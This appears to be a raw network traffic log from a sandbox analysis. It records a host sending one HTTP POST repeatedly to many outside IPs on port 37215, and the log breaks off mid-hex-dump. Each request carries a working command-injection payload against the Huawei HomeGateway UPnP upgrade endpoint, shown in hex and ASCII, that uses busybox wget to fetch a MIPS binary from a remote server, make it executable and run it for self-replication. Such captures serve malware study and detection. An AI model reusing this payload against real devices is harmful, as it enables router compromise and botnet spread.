Jul 20, 2024 23:01:02.405570984 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.14	46206	157.208.127.244	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.405570984 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.14	47230	157.78.32.167	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.405622005 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.14	35292	197.196.172.22	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.407177925 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.14	48840	61.165.104.213	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.407177925 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.14	55478	197.196.31.171	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.407177925 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.14	52176	126.166.207.208	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.407252073 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.14	32986	32.244.217.115	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.407252073 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.14	53052	124.232.166.233	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.407252073 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.14	42316	41.34.34.12	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.407253027 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.14	42576	197.24.4.235	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.408226967 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 